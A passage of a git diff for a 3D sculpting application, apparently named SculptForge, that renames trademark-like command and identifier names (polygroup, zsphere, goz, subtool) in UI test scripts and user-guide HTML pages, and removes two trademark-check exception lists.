drag_path 0.780 0.375 0.779 0.388 0.776 0.401 0.772 0.413 0.766 0.425 0.758 0.436 0.749 0.446 0.739 0.454 0.728 0.462 0.715 0.467 0.702 0.472 0.689 0.474 0.675 0.475 0.661 0.474 0.648 0.472 0.635 0.467 0.623 0.462 0.611 0.454 0.601 0.446 0.592 0.436 0.584 0.425 0.578 0.413 0.574 0.401 0.571 0.388 0.570 0.375 0.571 0.362 0.574 0.349 0.578 0.337 0.584 0.325 0.592 0.314 0.601 0.304 0.611 0.296 0.623 0.288 0.635 0.283 0.648 0.278 0.661 0.276 0.675 0.275 0.689 0.276 0.702 0.278 0.715 0.283 0.728 0.288 0.739 0.296 0.749 0.304 0.758 0.314 0.766 0.325 0.772 0.337 0.776 0.349 0.779 0.362 0.780 0.375
@@ -352,7 +352,7 @@ shot shading-smooth
click "Render##menu.render"
click "Materials##section.material"
click "Flat##material.flat"
-run subtool_shading name=Eyes mode=smooth
+run part_shading name=Eyes mode=smooth
wait 0.2
shot shading-palette
key escape
@@ -363,7 +363,7 @@ run set_shading mode=smooth
# Your own Lit Spheres (vertex-paint.md): one loaded from an image, in the Material palette.
run new_sphere subdivisions=5
-run load_matcap path=tests/ui/data/Gold.png
+run load_litsphere path=tests/ui/data/Gold.png
camera 20 10
click "Render##menu.render"
click "Materials##section.material"
@@ -379,10 +379,10 @@ run mask_rect y0=0.3
run extract thickness=0.04 smooth=8 accept=true
run mask_clear
camera 30 25
-click "Groups##view.polygroups"
+click "Groups##view.facegroups"
wait 0.2
shot extract
-click "Groups##view.polygroups"
+click "Groups##view.facegroups"
# Mirror And Weld (geometry.md): a head sculpted on one side, then mirrored and welded.
run new_head
diff --git a/tools/guide/whats_new_shots.sfui b/tools/guide/whats_new_shots.sfui
index 7c751f3e..016d0d00 100644
--- a/tools/guide/whats_new_shots.sfui
+++ b/tools/guide/whats_new_shots.sfui
@@ -27,7 +27,7 @@ wait 0.4
# Full alphas: Clay Slab (a custom brush) with the Square alpha at Focal Shift -100 stamps square-cornered slabs.
run new_sphere subdivisions=6
wait_idle 20
-run ui_look look=forge scheme=tokyo_night layout=zbrush # (the palette bar has Help for the clicks below)
+run ui_look look=forge scheme=tokyo_night layout=classic # (the palette bar has Help for the clicks below)
click "Help##palette.help"
click "What's New##help.whats_new"
wait 0.5
diff --git a/tools/looks/shots.sfui b/tools/looks/shots.sfui
index 99a73926..d2cf62ab 100644
--- a/tools/looks/shots.sfui
+++ b/tools/looks/shots.sfui
@@ -6,13 +6,13 @@
run open path=assets/demo/lion-head.glb
wait_idle 20
-run ui_look look=classic layout=zbrush
+run ui_look look=classic layout=classic
run open path=assets/demo/lion-head.glb
wait_idle 20
click "Clay##brush.clay"
hover_model 0.52 0.42
wait 0.3
-shot classic-zbrush-layout
+shot classic-classic-layout
run ui_look look=forge scheme=tokyo_night
run open path=assets/demo/lion-head.glb
diff --git a/tools/marks_allow.txt b/tools/marks_allow.txt
deleted file mode 100644
index 0de233a7..00000000
--- a/tools/marks_allow.txt
+++ /dev/null
@@ -1,8 +0,0 @@
-# Permanent exceptions to tools/check_marks.py. Keep this list as short as it is; see docs/legal/trademarks.md.
-docs/legal/trademarks.md # the trademark notice itself: the one place the marks are named
-integrations/bridge-plugin/** # the exchange plug-in runs inside the other application and must call its commands
-src/io/BridgeProtocol.h # folder and file names the exchange protocol needs on disk, and old-file read aliases
-src/core/LegacyNames.h # old on-disk names, read only, so old projects, brushes and configs load
-addons/blender/sculptforge_bridge/bridge_protocol.py # the Bridge file header bytes, for the Blender add-on
-tools/check_marks.py # the check has to spell the patterns it looks for
-tools/marks_pending.txt # names the files still waiting for the rename
diff --git a/tools/marks_pending.txt b/tools/marks_pending.txt
deleted file mode 100644
index bf2a01ef..00000000
--- a/tools/marks_pending.txt
+++ /dev/null
@@ -1,15 +0,0 @@
-# Files not fully renamed yet (tools/check_marks.py). This list only shrinks; empty it, don't add to it.
-# Phase 2 of fix/ip-audit renames code identifiers, comments, command names and on-disk keys (with read aliases).
-website/guide/search-index.js skip # built from docs/guide, which is checked; command names follow phase 2
-src/** strings
-tests/** skip # test code and data: phase 2 (identifiers, comments, fixtures)
-addons/** strings
-integrations/comfyui/** strings # calls subtool_list; command names follow phase 2
-tools/guide/** strings
-tools/looks/** strings
-tools/export_check/** strings
-CMakeLists.txt strings
-docs/project-format.md skip # documents on-disk keys; renamed with read aliases in phase 2
-docs/** prose
-website/guide/** prose
-CHANGELOG.md prose
diff --git a/website/guide/baking.html b/website/guide/baking.html
index 989501cb..7e634012 100644
--- a/website/guide/baking.html
+++ b/website/guide/baking.html
@@ -122,7 +122,7 @@ The bake works on copies, so you can keep sculpting meanwhile. If the low-poly&#
<h2 id="send-to-unreal-with-the-normal-map">Send to Unreal with the normal map<a class="anchor" href="#send-to-unreal-with-the-normal-map" aria-label="Link to this section">#</a></h2>
<p>When the last bake made a normal map, its low-poly Part is shown and still fits the map, <strong>Send to Unreal</strong> (<strong>Tool &gt; Export</strong>) imports the map too, as <code>T_&lt;Name&gt;_N</code> next to the mesh, set up as a normal map (linear, normal map compression), with Unreal&#x27;s <strong>Flip Green Channel</strong> set for an OpenGL map. This works with an Unreal Editor on the same computer; for one on another computer, import the PNG by hand. See <a href="exporting.html#send-to-unreal">Exporting, Unreal and Bridge</a>.</p>
<h2 id="commands">Commands<a class="anchor" href="#commands" aria-label="Link to this section">#</a></h2>
-<div class="table-wrap"><table><thead><tr><th>Command</th><th>What it does</th></tr></thead><tbody><tr><td><code>bake</code></td><td>Bake onto the active Part and write the maps. Options: <code>source=all</code>, a Part name, <code>subdivision</code> or <code>micro</code>, <code>maps=normal,object_normal,displacement,ao,cavity,color,curvature,thickness,position,id</code> (or <code>all</code>), <code>udim=true</code>, <code>thickness_rays=24</code>, <code>thickness_distance=0.1</code>, <code>curvature_radius=0.02</code>, <code>id=polygroups</code> or <code>parts</code>, <code>size=2048</code> (512 to 8192, or <code>1k</code>...<code>8k</code>), <code>out=folder</code>, <code>name=prefix</code>, <code>front=0.02</code> and <code>rear=0.02</code> (fractions of the model&#x27;s size, or <code>auto</code>), <code>samples=2</code>, <code>padding=8</code>, <code>ao_rays=48</code>, <code>ao_distance=0.05</code>, <code>green=opengl</code> or <code>directx</code>, <code>displacement_scale=</code> (world units at white), <code>exr=true</code></td></tr></tbody></table></div>
+<div class="table-wrap"><table><thead><tr><th>Command</th><th>What it does</th></tr></thead><tbody><tr><td><code>bake</code></td><td>Bake onto the active Part and write the maps. Options: <code>source=all</code>, a Part name, <code>subdivision</code> or <code>micro</code>, <code>maps=normal,object_normal,displacement,ao,cavity,color,curvature,thickness,position,id</code> (or <code>all</code>), <code>udim=true</code>, <code>thickness_rays=24</code>, <code>thickness_distance=0.1</code>, <code>curvature_radius=0.02</code>, <code>id=facegroups</code> or <code>parts</code>, <code>size=2048</code> (512 to 8192, or <code>1k</code>...<code>8k</code>), <code>out=folder</code>, <code>name=prefix</code>, <code>front=0.02</code> and <code>rear=0.02</code> (fractions of the model&#x27;s size, or <code>auto</code>), <code>samples=2</code>, <code>padding=8</code>, <code>ao_rays=48</code>, <code>ao_distance=0.05</code>, <code>green=opengl</code> or <code>directx</code>, <code>displacement_scale=</code> (world units at white), <code>exr=true</code></td></tr></tbody></table></div>
<p>For example, from the console or <code>sculptforge-cli</code>:</p>
<div class="code-block"><pre class="code"><code>part_select name=Body_low; bake source=Body maps=normal,ao,displacement size=4096 out=maps</code></pre><button class="copy" type="button" aria-label="Copy">Copy</button></div>
<p>The command runs in the foreground (scripts wait for it); the <strong>Bake</strong> button runs the same bake in the background. See <a href="scripting.html">Scripting and automation</a>.</p>
diff --git a/website/guide/blender.html b/website/guide/blender.html
index 633bfe8c..cf11ebf0 100644
--- a/website/guide/blender.html
+++ b/website/guide/blender.html
@@ -153,7 +153,7 @@ Stroke types (Drag Stamp, Spray...): each Blender brush sets its stroke method i
</li>
</ul>
<h2 id="how-it-works">How it works<a class="anchor" href="#how-it-works" aria-label="Link to this section">#</a></h2>
-<p>The two programs share a folder in your user data: <code>~/.local/share/SculptForge/SculptForge/blender</code> on Linux, <code>%APPDATA%\SculptForge\SculptForge\blender</code> on Windows, <code>~/Library/Application Support/SculptForge/SculptForge/blender</code> on macOS. Each side writes its meshes there as <code>.GoZ</code> files with a small list of the objects, and checks the other side&#x27;s list once a second. Nothing goes over the network.</p>
+<p>The two programs share a folder in your user data: <code>~/.local/share/SculptForge/SculptForge/blender</code> on Linux, <code>%APPDATA%\SculptForge\SculptForge\blender</code> on Windows, <code>~/Library/Application Support/SculptForge/SculptForge/blender</code> on macOS. Each side writes its meshes there as Bridge files with a small list of the objects, and checks the other side&#x27;s list once a second. Nothing goes over the network.</p>
<p>To use another folder, set it in the add-on&#x27;s preferences and start SculptForge with the environment variable <code>SCULPTFORGE_BLENDER_EXCHANGE</code> set to the same folder.</p>
<p>From scripts and the MCP server: <code>blender_send</code> and <code>blender_receive</code> (both take <code>folder=</code>). Starting SculptForge with <code>--blender</code> loads what Blender last sent.</p>
<h2 id="limits-and-troubleshooting">Limits and troubleshooting<a class="anchor" href="#limits-and-troubleshooting" aria-label="Link to this section">#</a></h2>
diff --git a/website/guide/exporting.html b/website/guide/exporting.html
index 57d700bb..32356d0b 100644
--- a/website/guide/exporting.html
+++ b/website/guide/exporting.html
@@ -188,7 +188,7 @@ sculptforge-cli -c &#x27;open path=statue.obj; export_unreal folder=out height_c
<h2 id="exchange-models-through-the-bridge">Exchange models through the Bridge<a class="anchor" href="#exchange-models-through-the-bridge" aria-label="Link to this section">#</a></h2>
<p>The <strong>Bridge</strong> exchanges Parts with another sculpting application through a shared bridge folder, the way that application&#x27;s own exchange plug-in does, on Windows and macOS. The commands are in <strong>File &gt; Bridge</strong>:</p>
<div class="table-wrap"><table><thead><tr><th>Item</th><th>What it does</th></tr></thead><tbody><tr><td><strong>Send</strong></td><td>Writes every visible Part to the bridge folder and tells the other application (starting it if needed). Each Part arrives as its own object. Turns on <strong>Receive automatically</strong></td></tr><tr><td><strong>Receive</strong></td><td>Loads what the other application last sent. Each object updates the Part it was sent from (one undo step), or becomes a new Part</td></tr><tr><td><strong>Receive automatically</strong></td><td>Checks once a second for a new send and receives it</td></tr><tr><td><strong>Custom bridge folder (optional)</strong></td><td>Use another bridge folder, for example inside a Wine prefix</td></tr><tr><td><strong>Import Bridge file...</strong></td><td>Opens a Bridge file, replacing the scene</td></tr><tr><td><strong>Export Bridge file...</strong></td><td>Writes a Bridge file. With several visible Parts, one file per Part next to the path</td></tr><tr><td><strong>Export STL...</strong></td><td>Writes a binary STL of the visible Parts</td></tr></tbody></table></div>
-<p>The default bridge folder and the one-time setup are on the <a href="https://github.com/islandmed/SculptForge/blob/main/integrations/bridge-plugin/README.md" rel="noopener">Bridge setup page</a>. On Linux the Bridge needs a custom folder; Bridge files still import and export.</p>
+<p>On Windows and macOS the Bridge finds the shared exchange folder by itself; nothing to install. On Linux it needs a custom folder; Bridge files still import and export.</p>
<h3 id="a-round-trip">A round trip<a class="anchor" href="#a-round-trip" aria-label="Link to this section">#</a></h3>
<ol>
<li>
@@ -203,7 +203,7 @@ SculptForge receives it automatically and updates the matching Parts. Each updat
</ol>
<p>The Bridge keeps face groups, mask, vertex paint and UVs. Quads stay quads both ways: Wire shows them as quads. The format has no hidden-face flag, so hidden faces are sent like any others.</p>
<aside class="callout callout-note"><p><strong>Note:</strong> the Bridge is tested with files, not yet against every version of a live application. If a send does not arrive, export a Bridge file and import it by hand, and please report it (<strong>Help &gt; Report a problem</strong>).</p></aside>
-<p>From scripts: <code>goz_export path=</code>, <code>goz_import path=</code>, <code>goz_send</code>, <code>goz_receive</code> and <code>export_stl path=</code> (see <a href="#3d-printing">3D printing</a> for its options).</p>
+<p>From scripts: <code>bridge_export path=</code>, <code>bridge_import path=</code>, <code>bridge_send</code>, <code>bridge_receive</code> and <code>export_stl path=</code> (see <a href="#3d-printing">3D printing</a> for its options).</p>
<h2 id="blender">Blender<a class="anchor" href="#blender" aria-label="Link to this section">#</a></h2>
<p>To sculpt Blender objects in SculptForge and send them back into the same objects, use the SculptForge Bridge add-on and <strong>File &gt; Blender</strong>: see <a href="blender.html">Working with Blender</a>. For a one-off exchange, OBJ, FBX and glTF all carry Parts, UVs and quads both ways.</p>
<h2 id="maya">Maya<a class="anchor" href="#maya" aria-label="Link to this section">#</a></h2>
diff --git a/website/guide/face-groups.html b/website/guide/face-groups.html
index c0aadb57..f8b5c1d9 100644
--- a/website/guide/face-groups.html
+++ b/website/guide/face-groups.html
@@ -71,7 +71,7 @@ Bridge files and SculptForge projects, which keep face groups.
</ul>
<h2 id="create-face-groups">Create face groups<a class="anchor" href="#create-face-groups" aria-label="Link to this section">#</a></h2>
<p>Open <strong>Tool &gt; Face Groups</strong>. Grouping works on the <strong>visible</strong> part of the Part only; hidden parts keep their groups. So you can isolate one part and regroup just that part.</p>
-<div class="table-wrap"><table><thead><tr><th>Control</th><th>What it does</th><th>Command</th></tr></thead><tbody><tr><td><strong>By normals</strong></td><td>A new group wherever the surface turns more than the angle next to it (1 to 90 degrees, default 30). Each flat side of a box becomes its own group.</td><td><code>polygroup_auto_by_normals</code></td></tr><tr><td><strong>By pieces</strong></td><td>One group per disconnected piece, such as separate eyes or buttons in one mesh.</td><td><code>polygroup_by_connectivity</code></td></tr><tr><td><strong>From mask</strong></td><td>Masked triangles move into a new group.</td><td><code>polygroup_from_mask</code></td></tr><tr><td><strong>Group by UVs</strong></td><td>One group per UV island: triangles that touch without a UV seam between them share a group. Needs UVs (<strong>Tool &gt; Texture Map &gt; Auto UV</strong> or an imported model&#x27;s).</td><td><code>polygroup_uv</code></td></tr><tr><td><strong>Merge visible</strong></td><td>Everything visible becomes one group.</td><td><code>polygroup_merge_visible</code></td></tr><tr><td><strong>Clear groups</strong></td><td>Remove all face groups; the whole Part becomes one group again.</td><td><code>polygroup_clear</code></td></tr></tbody></table></div>
+<div class="table-wrap"><table><thead><tr><th>Control</th><th>What it does</th><th>Command</th></tr></thead><tbody><tr><td><strong>By normals</strong></td><td>A new group wherever the surface turns more than the angle next to it (1 to 90 degrees, default 30). Each flat side of a box becomes its own group.</td><td><code>facegroup_auto_by_normals</code></td></tr><tr><td><strong>By pieces</strong></td><td>One group per disconnected piece, such as separate eyes or buttons in one mesh.</td><td><code>facegroup_by_connectivity</code></td></tr><tr><td><strong>From mask</strong></td><td>Masked triangles move into a new group.</td><td><code>facegroup_from_mask</code></td></tr><tr><td><strong>Group by UVs</strong></td><td>One group per UV island: triangles that touch without a UV seam between them share a group. Needs UVs (<strong>Tool &gt; Texture Map &gt; Auto UV</strong> or an imported model&#x27;s).</td><td><code>facegroup_uv</code></td></tr><tr><td><strong>Merge visible</strong></td><td>Everything visible becomes one group.</td><td><code>facegroup_merge_visible</code></td></tr><tr><td><strong>Clear groups</strong></td><td>Remove all face groups; the whole Part becomes one group again.</td><td><code>facegroup_clear</code></td></tr></tbody></table></div>
<p>Each button is one undo step.</p>
<h3 id="group-a-region-you-painted">Group a region you painted<a class="anchor" href="#group-a-region-you-painted" aria-label="Link to this section">#</a></h3>
<ol>
@@ -143,8 +143,8 @@ Each Part has its own face groups and visibility. To show and hide whole Parts,
</li>
</ul>
<h2 id="face-groups-from-a-script">Face Groups from a script<a class="anchor" href="#face-groups-from-a-script" aria-label="Link to this section">#</a></h2>
-<div class="table-wrap"><table><thead><tr><th>Command</th><th>Options</th></tr></thead><tbody><tr><td><code>polygroup_auto_by_normals</code></td><td><code>angle</code> (1-180 degrees, default 30)</td></tr><tr><td><code>polygroup_by_connectivity</code>, <code>polygroup_uv</code>, <code>polygroup_from_mask</code>, <code>polygroup_merge_visible</code>, <code>polygroup_clear</code></td><td></td></tr><tr><td><code>isolate_polygroup</code>, <code>hide_polygroup</code></td><td><code>group</code> (required): the face group id</td></tr><tr><td><code>show_all</code>, <code>invert_visibility</code>, <code>delete_hidden</code></td><td></td></tr><tr><td><code>hide_rect</code></td><td><code>x0 y0 x1 y1</code> (-1 to 1, y up), <code>inside</code>, optional <code>view_proj</code> matrix; without a view the rectangle spans the mesh seen from the front</td></tr><tr><td><code>hide_lasso</code></td><td><code>points</code> (required): the outline as <code>&quot;x0 y0 x1 y1 ...&quot;</code>, at least 3 points in the same -1 to 1 space; <code>inside</code>, <code>view_proj</code> as for <code>hide_rect</code></td></tr></tbody></table></div>
-<p>When you isolate or hide a group in the viewport, the console (<kbd>`</kbd>) shows the command with the group&#x27;s id, for example <code>isolate_polygroup group=3</code>, which you can reuse in scripts.</p>
+<div class="table-wrap"><table><thead><tr><th>Command</th><th>Options</th></tr></thead><tbody><tr><td><code>facegroup_auto_by_normals</code></td><td><code>angle</code> (1-180 degrees, default 30)</td></tr><tr><td><code>facegroup_by_connectivity</code>, <code>facegroup_uv</code>, <code>facegroup_from_mask</code>, <code>facegroup_merge_visible</code>, <code>facegroup_clear</code></td><td></td></tr><tr><td><code>isolate_facegroup</code>, <code>hide_facegroup</code></td><td><code>group</code> (required): the face group id</td></tr><tr><td><code>show_all</code>, <code>invert_visibility</code>, <code>delete_hidden</code></td><td></td></tr><tr><td><code>hide_rect</code></td><td><code>x0 y0 x1 y1</code> (-1 to 1, y up), <code>inside</code>, optional <code>view_proj</code> matrix; without a view the rectangle spans the mesh seen from the front</td></tr><tr><td><code>hide_lasso</code></td><td><code>points</code> (required): the outline as <code>&quot;x0 y0 x1 y1 ...&quot;</code>, at least 3 points in the same -1 to 1 space; <code>inside</code>, <code>view_proj</code> as for <code>hide_rect</code></td></tr></tbody></table></div>
+<p>When you isolate or hide a group in the viewport, the console (<kbd>`</kbd>) shows the command with the group&#x27;s id, for example <code>isolate_facegroup group=3</code>, which you can reuse in scripts.</p>
<div class="code-block"><pre class="code"><code class="language-sh">sculptforge-cli -c &#x27;open path=robot.obj; face group_by_connectivity; part_split_groups; save_project path=robot.sfproj&#x27;</code></pre><button class="copy" type="button" aria-label="Copy">Copy</button></div>
<aside class="callout callout-not-yet"><p><strong>Not yet:</strong> a face group paint brush, Group Front, face groups from UV islands or Vertex Paint, and face group-based crease edges are not available yet.</p></aside>
<h2 id="see-also">See also<a class="anchor" href="#see-also" aria-label="Link to this section">#</a></h2>
diff --git a/website/guide/facial-shapes.html b/website/guide/facial-shapes.html
index d19f034d..5b420322 100644
--- a/website/guide/facial-shapes.html
+++ b/website/guide/facial-shapes.html
@@ -198,7 +198,7 @@ Sculpt: every stroke goes into that shape. Use <kbd>X</kbd> symmetry for a centr
<div class="table-wrap"><table><thead><tr><th>Export</th><th>The shapes become</th><th>Animation (baked take)</th></tr></thead><tbody><tr><td><strong>GLB</strong> (File &gt; Export)</td><td>morph targets, named in <code>extras.targetNames</code></td><td>glTF animation of the weights</td></tr><tr><td><strong>USD / USDZ</strong></td><td>UsdSkel blend shapes</td><td>time samples on the SkelAnimation</td></tr><tr><td><strong>FBX</strong> (and Send to Unreal)</td><td>blend shape channels; Unreal: morph targets on a skeletal mesh</td><td>not yet</td></tr><tr><td><strong>Blender bridge</strong> (File &gt; Blender &gt; Send to Blender)</td><td>shape keys, at their weights, on every object</td><td>not yet</td></tr></tbody></table></div>
<p>Each Part exports as its own object with its own shapes (the eyes with their eyeLook shapes, the teeth with the jaw&#x27;s). Apple&#x27;s ARKit, Unreal&#x27;s Live Link Face and most face-capture tools drive meshes by these names directly.</p>
<h2 id="commands">Commands<a class="anchor" href="#commands" aria-label="Link to this section">#</a></h2>
-<div class="table-wrap"><table><thead><tr><th>Command</th><th>What it does</th></tr></thead><tbody><tr><td><code>face_shapes_generate [landmarks=&lt;json&gt;] [symmetry=auto/on/off] [subtools=true] [level=N]</code></td><td>Generate Facial Shapes on the active Part</td></tr><tr><td><code>face_landmarks_detect</code></td><td>the automatic landmarks, as the JSON <code>landmarks=</code> takes</td></tr><tr><td><code>face_weights json=&lt;json&gt;</code></td><td>set shape weights (live)</td></tr><tr><td><code>face_preset name=Smile [amount=1]</code></td><td>show a preset</td></tr><tr><td><code>face_take_play path=</code> / <code>face_take_stop</code></td><td>play a take in the viewport (the app only)</td></tr><tr><td><code>face_take_bake path= [fps=30]</code> / <code>face_take_clear</code></td><td>bake a take for export / remove it</td></tr><tr><td><code>new_head</code></td><td>a new scene with the template head and its eyes</td></tr></tbody></table></div>
+<div class="table-wrap"><table><thead><tr><th>Command</th><th>What it does</th></tr></thead><tbody><tr><td><code>face_shapes_generate [landmarks=&lt;json&gt;] [symmetry=auto/on/off] [parts=true] [level=N]</code></td><td>Generate Facial Shapes on the active Part</td></tr><tr><td><code>face_landmarks_detect</code></td><td>the automatic landmarks, as the JSON <code>landmarks=</code> takes</td></tr><tr><td><code>face_weights json=&lt;json&gt;</code></td><td>set shape weights (live)</td></tr><tr><td><code>face_preset name=Smile [amount=1]</code></td><td>show a preset</td></tr><tr><td><code>face_take_play path=</code> / <code>face_take_stop</code></td><td>play a take in the viewport (the app only)</td></tr><tr><td><code>face_take_bake path= [fps=30]</code> / <code>face_take_clear</code></td><td>bake a take for export / remove it</td></tr><tr><td><code>new_head</code></td><td>a new scene with the template head and its eyes</td></tr></tbody></table></div>
<h2 id="subdivision-levels">Subdivision levels<a class="anchor" href="#subdivision-levels" aria-label="Link to this section">#</a></h2>
<p>On a Part with <a href="subdivision-levels.html">subdivision levels</a> the shapes are made on the lowest level with at least 20,000 vertices (<code>level=</code> picks another), and the levels carry them up: at the top level the shapes bend your high-level detail along instead of flattening it.</p>
<h2 id="memory">Memory<a class="anchor" href="#memory" aria-label="Link to this section">#</a></h2>
diff --git a/website/guide/forge-spheres.html b/website/guide/forge-spheres.html
index 4df95185..27f68015 100644
--- a/website/guide/forge-spheres.html
+++ b/website/guide/forge-spheres.html
@@ -76,7 +76,7 @@
<strong>Right click</strong> a sphere (a click, not a drag: a right drag still turns the view) for a menu with <strong>Delete Sphere</strong>, <strong>Insert Between</strong> and <strong>Set as Root</strong>.
</li>
</ul>
-<p>Each is one undo step, and Symmetry mirrors Delete and Insert. From a script: <code>zsphere_set_root index=3</code>.</p>
+<p>Each is one undo step, and Symmetry mirrors Delete and Insert. From a script: <code>forgesphere_set_root index=3</code>.</p>
<h2 id="preview-the-skin">Preview the skin<a class="anchor" href="#preview-the-skin" aria-label="Link to this section">#</a></h2>
<p><strong>Preview</strong> (<kbd>A</kbd>) shows the skin over the spheres instead of the spheres themselves, so you can judge the volumes. The skin is a smooth union of the spheres and the cones between them, with the joints filled out a little. Turn Preview off to edit the spheres again; while it is on, clicks on the model do nothing.</p>
<h2 id="make-mesh">Make Mesh<a class="anchor" href="#make-mesh" aria-label="Link to this section">#</a></h2>
@@ -95,11 +95,11 @@ Each link gets its own <a href="face-groups.html">face group</a>, so you can iso
<p>The Forge Sphere Part is hidden and kept. To change the proportions later, show and select it, edit the spheres and Make Mesh again. The armature is saved with the project.</p>
<aside class="callout callout-tip"><p><strong>Tip:</strong> for clean edge flow, run <a href="retopology.html">Quad Remesh</a> on the new mesh, then Divide and sculpt.</p></aside>
<h2 id="scripting">Scripting<a class="anchor" href="#scripting" aria-label="Link to this section">#</a></h2>
-<p>The same operations are commands (see <a href="scripting.html">Scripting</a>): <code>zsphere_new</code>, <code>zsphere_list</code>, <code>zsphere_add</code>, <code>zsphere_set</code>, <code>zsphere_delete</code>, <code>zsphere_insert</code>, <code>zsphere_preview</code> and <code>zsphere_make_mesh</code>. For example, a simple figure:</p>
-<div class="code-block"><pre class="code"><code>zsphere_new radius=0.5
-zsphere_add parent=0 position=0,0.8,0 radius=0.3
-zsphere_add parent=0 position=0.9,0.1,0 radius=0.2 symmetry=x
-zsphere_make_mesh resolution=160</code></pre><button class="copy" type="button" aria-label="Copy">Copy</button></div>
+<p>The same operations are commands (see <a href="scripting.html">Scripting</a>): <code>forgesphere_new</code>, <code>forgesphere_list</code>, <code>forgesphere_add</code>, <code>forgesphere_set</code>, <code>forgesphere_delete</code>, <code>forgesphere_insert</code>, <code>forgesphere_preview</code> and <code>forgesphere_make_mesh</code>. For example, a simple figure:</p>
+<div class="code-block"><pre class="code"><code>forgesphere_new radius=0.5
+forgesphere_add parent=0 position=0,0.8,0 radius=0.3
+forgesphere_add parent=0 position=0.9,0.1,0 radius=0.2 symmetry=x
+forgesphere_make_mesh resolution=160</code></pre><button class="copy" type="button" aria-label="Copy">Copy</button></div>
</article>
<nav class="pager" aria-label="Previous and next chapter"><a class="prev" rel="prev" href="parts.html"><span>Previous</span>Parts</a><a class="next" rel="next" href="vertex-paint.html"><span>Next</span>Vertex Paint and materials</a></nav>
<p class="guide-meta fine">Also in the app: <strong>Help &gt; User Guide</strong> (<kbd>Shift</kbd>+<kbd>F1</kbd>).
diff --git a/website/guide/geometry.html b/website/guide/geometry.html
index a25d40a5..ebeeb1e2 100644
--- a/website/guide/geometry.html
+++ b/website/guide/geometry.html
@@ -199,7 +199,7 @@ Click <strong>Generate LOD chain</strong>.
</li>
</ul>
<h2 id="scripting">Scripting<a class="anchor" href="#scripting" aria-label="Link to this section">#</a></h2>
-<div class="table-wrap"><table><thead><tr><th>Command</th><th>Options</th></tr></thead><tbody><tr><td><code>subdivide</code></td><td><code>levels</code> 1-4 (default 1)</td></tr><tr><td><code>remesh</code></td><td><code>resolution</code> 32-512 voxels across the longest side (default 200); <code>keep_texture</code> (default true)</td></tr><tr><td><code>decimate</code></td><td><code>ratio</code> 0.01-1 of the triangles to keep (default 0.5), or <code>triangles</code> for an exact target</td></tr><tr><td><code>qremesh</code></td><td><code>target</code> quads (default 5000), <code>adaptive</code>, <code>keep_groups</code>, <code>detect_edges</code>, <code>use_polypaint</code>, <code>symmetry</code>, <code>keep_original</code>, <code>keep_texture</code>; see <a href="retopology.html#scripting">Quad retopology</a></td></tr><tr><td><code>close_holes</code></td><td><code>max_edges</code> closes only holes with at most that many boundary edges (default 0: all); <code>refine</code> (default true; false: as few triangles as possible); <code>new_group</code> (default true)</td></tr><tr><td><code>mirror_and_weld</code></td><td><code>axis</code> x, y, z or several, e.g. <code>xz</code> (default x); <code>side</code> positive (default) or negative</td></tr><tr><td><code>mirror</code></td><td><code>axis</code> (default x); <code>pivot</code> origin (default) or center</td></tr><tr><td><code>export_lods</code></td><td><code>path</code> (base name), <code>levels</code> 1-8 including LOD0 (default 4), <code>ratio</code> 0.1-0.9 (default 0.5)</td></tr></tbody></table></div>
+<div class="table-wrap"><table><thead><tr><th>Command</th><th>Options</th></tr></thead><tbody><tr><td><code>subdivide</code></td><td><code>levels</code> 1-4 (default 1)</td></tr><tr><td><code>remesh</code></td><td><code>resolution</code> 32-512 voxels across the longest side (default 200); <code>keep_texture</code> (default true)</td></tr><tr><td><code>decimate</code></td><td><code>ratio</code> 0.01-1 of the triangles to keep (default 0.5), or <code>triangles</code> for an exact target</td></tr><tr><td><code>qremesh</code></td><td><code>target</code> quads (default 5000), <code>adaptive</code>, <code>keep_groups</code>, <code>detect_edges</code>, <code>use_vertexpaint</code>, <code>symmetry</code>, <code>keep_original</code>, <code>keep_texture</code>; see <a href="retopology.html#scripting">Quad retopology</a></td></tr><tr><td><code>close_holes</code></td><td><code>max_edges</code> closes only holes with at most that many boundary edges (default 0: all); <code>refine</code> (default true; false: as few triangles as possible); <code>new_group</code> (default true)</td></tr><tr><td><code>mirror_and_weld</code></td><td><code>axis</code> x, y, z or several, e.g. <code>xz</code> (default x); <code>side</code> positive (default) or negative</td></tr><tr><td><code>mirror</code></td><td><code>axis</code> (default x); <code>pivot</code> origin (default) or center</td></tr><tr><td><code>export_lods</code></td><td><code>path</code> (base name), <code>levels</code> 1-8 including LOD0 (default 4), <code>ratio</code> 0.1-0.9 (default 0.5)</td></tr></tbody></table></div>
<div class="code-block"><pre class="code"><code class="language-sh">sculptforge-cli -c &#x27;open path=scan.obj; remesh resolution=256; decimate triangles=200000; export_lods path=out/rock.glb levels=4 ratio=0.5&#x27;</code></pre><button class="copy" type="button" aria-label="Copy">Copy</button></div>
<p>The command line accepts a wider remesh range (32-512) than the palette slider.</p>
<h2 id="see-also">See also<a class="anchor" href="#see-also" aria-label="Link to this section">#</a></h2>
diff --git a/website/guide/interface.html b/website/guide/interface.html
index 5560e95e..db27f8ab 100644
--- a/website/guide/interface.html
+++ b/website/guide/interface.html
@@ -89,7 +89,7 @@
<p><strong>The first start</strong> shows three looks to pick from in the welcome: <strong>Neutral</strong>, <strong>Forge Terminal</strong> (Tokyo Night) and <strong>Classic layout</strong> (Classic with the palette bar). <strong>Coming from</strong> sets the keys and the layout together: Classic sculpting keys (the keys and the Classic layout), Blender, Maya or New to sculpting (their keys, the SculptForge layout). Help &gt; Welcome shows it again.</p>
<p>Choosing Forge Terminal, Phosphor or Blueprint also switches to the SculptForge layout; you can pick the Classic layout again right after. The look and layout are remembered for the next start without <a href="#store-config-and-friends">Store Config</a> (Store Config keeps them in your UI configuration too).</p>
<p><strong>Updating from an older version</strong> keeps the look and layout you had. A card, <strong>SculptForge has a new look</strong>, shows once: <strong>Try it</strong> switches to Forge Terminal with the Neutral colours and the SculptForge layout; <strong>Keep my layout</strong> changes nothing. Either way, Edit &gt; Preferences &gt; Interface &gt; Look changes it later.</p>
-<p>In scripts: <code>ui_look look=forge scheme=neutral outlines=subtle layout=sculptforge</code> (or <code>look=classic layout=zbrush</code>).</p>
+<p>In scripts: <code>ui_look look=forge scheme=neutral outlines=subtle layout=sculptforge</code> (or <code>look=classic layout=classic</code>).</p>
<h2 id="turning-ai-off">Turning AI off<a class="anchor" href="#turning-ai-off" aria-label="Link to this section">#</a></h2>
<p>Your art is never uploaded or used for training. AI features run only when you use them and can be turned off.</p>
